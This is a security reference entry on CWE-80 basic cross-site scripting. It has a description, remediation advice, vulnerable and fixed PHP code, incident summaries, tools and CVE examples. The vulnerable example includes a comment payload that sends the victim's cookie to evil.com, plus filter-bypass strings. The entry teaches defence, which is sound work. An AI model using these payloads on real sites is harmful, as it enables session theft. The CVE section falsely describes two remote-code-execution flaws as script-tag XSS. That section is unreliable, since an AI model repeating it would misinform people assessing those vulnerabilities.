Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS)

Description

Improper Neutralization of Script-Related HTML Tags is a specific variant of Cross-site Scripting (XSS) that occurs when software receives input from an upstream component but does not neutralize or incorrectly neutralizes script-related HTML tags such as <script>, <img>, <object>, <embed>, <iframe>, and similar elements before including them in output used as web page content. This basic form of XSS allows attackers to inject HTML tags that execute JavaScript or load external malicious resources. When these unfiltered tags are rendered in a victim's browser, they can execute arbitrary scripts, steal session data, redirect users, or perform actions on behalf of authenticated users.

Risk

This vulnerability enables attackers to inject executable content into web pages through standard HTML script tags. While seemingly basic, many applications fail to filter these tags properly, leading to session hijacking, credential theft, and account takeover. The simplicity of exploitation makes it attractive to attackers of all skill levels. When stored in databases (stored XSS), every user viewing the compromised content becomes a victim. Common attack vectors include comment fields, user profiles, forum posts, and any input field that accepts and displays user content. Even partial filtering can be bypassed through case variations, encoding, or malformed tags.

Solution

Implement comprehensive output encoding that converts all HTML special characters to their entity equivalents before rendering user input in web pages. Use established encoding functions like htmlspecialchars() in PHP, HtmlEncoder in .NET, or built-in framework escaping. Deploy Content Security Policy (CSP) headers to restrict script execution sources. If HTML input must be allowed, use robust sanitization libraries like DOMPurify or Bleach that parse and reconstruct safe HTML. Never rely solely on blacklisting specific tags as attackers can bypass filters through encoding, case mixing, or using alternative tags with similar capabilities.

Common Consequences

ImpactDetails
ConfidentialityScope: Confidentiality

Injected script tags can access cookies, session storage, and page content, enabling theft of authentication tokens and sensitive displayed data.
IntegrityScope: Integrity

Attackers can modify page content, inject fake forms, alter displayed information, or redirect form submissions to attacker-controlled servers.
Access ControlScope: Access Control

Stolen session cookies enable complete account takeover, allowing attackers to perform any action the victim is authorized to perform.
AvailabilityScope: Availability

Malicious scripts can cause page rendering issues, infinite loops, or redirect users away from the legitimate site.

Example Code + Solution Code

Vulnerable Code

<?php
// VULNERABLE: Direct output of user input
$comment = $_POST['comment'];
// Attacker input: <script>document.location='http://evil.com/?c='+document.cookie</script>
echo "<div class='comment'>" . $comment . "</div>";

// VULNERABLE: Incomplete tag filtering
$input = $_GET['name'];
$filtered = str_replace('<script>', '', $input);
// Bypass: <SCRIPT>alert(1)</SCRIPT> or <scr<script>ipt>
echo "Hello, " . $filtered;
?>

Fixed Code

<?php
// SAFE: Proper HTML entity encoding
$comment = $_POST['comment'] ?? '';
$safe_comment = htmlspecialchars($comment, ENT_QUOTES | ENT_HTML5, 'UTF-8');
echo "<div class='comment'>" . $safe_comment . "</div>";

// SAFE: Using allowlist approach with DOMPurify (client-side) or HTMLPurifier (server-side)
require_once 'HTMLPurifier.auto.php';
$config = HTMLPurifier_Config::createDefault();
$config->set('HTML.Allowed', 'p,b,i,u,a[href],ul,ol,li');
$purifier = new HTMLPurifier($config);
$clean_html = $purifier->purify($_POST['rich_content'] ?? '');
echo $clean_html;

// Set security headers
header("Content-Security-Policy: default-src 'self'; script-src 'self'");
header("X-Content-Type-Options: nosniff");
?>

Exploited in the Wild

Twitter Worm (Twitter, 2010)

A stored XSS vulnerability allowed attackers to inject script tags into tweets. The "onmouseover" worm spread rapidly when users hovered over malicious tweets, automatically retweeting the malicious content. The attack affected thousands of Twitter users and demonstrated how basic XSS in social platforms can spread virally.

eBay XSS Vulnerability (eBay, 2015-2016)

Attackers exploited insufficient filtering of script-related HTML tags in eBay seller listings. The vulnerability allowed injection of malicious scripts that could steal buyer credentials, modify listing prices, or redirect payments to attacker accounts.


Tools to test/exploit

  • XSStrike — advanced XSS scanner that generates context-aware payloads and tests for filter bypasses using various encoding and tag combinations.

  • Burp Suite — web security testing platform with comprehensive XSS scanning and manual testing capabilities for script tag injection.

  • OWASP ZAP — open-source security scanner with active XSS detection including basic script tag injection testing.


CVE Examples

  • CVE-2023-50164 — Apache Struts path traversal combined with XSS through script tag injection.

  • CVE-2022-29464 — WSO2 products stored XSS via script tag injection in file upload.


References

  1. MITRE. "CWE-80: Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS)." https://cwe.mitre.org/data/definitions/80.html

  2. OWASP. "XSS Filter Evasion Cheat Sheet." https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html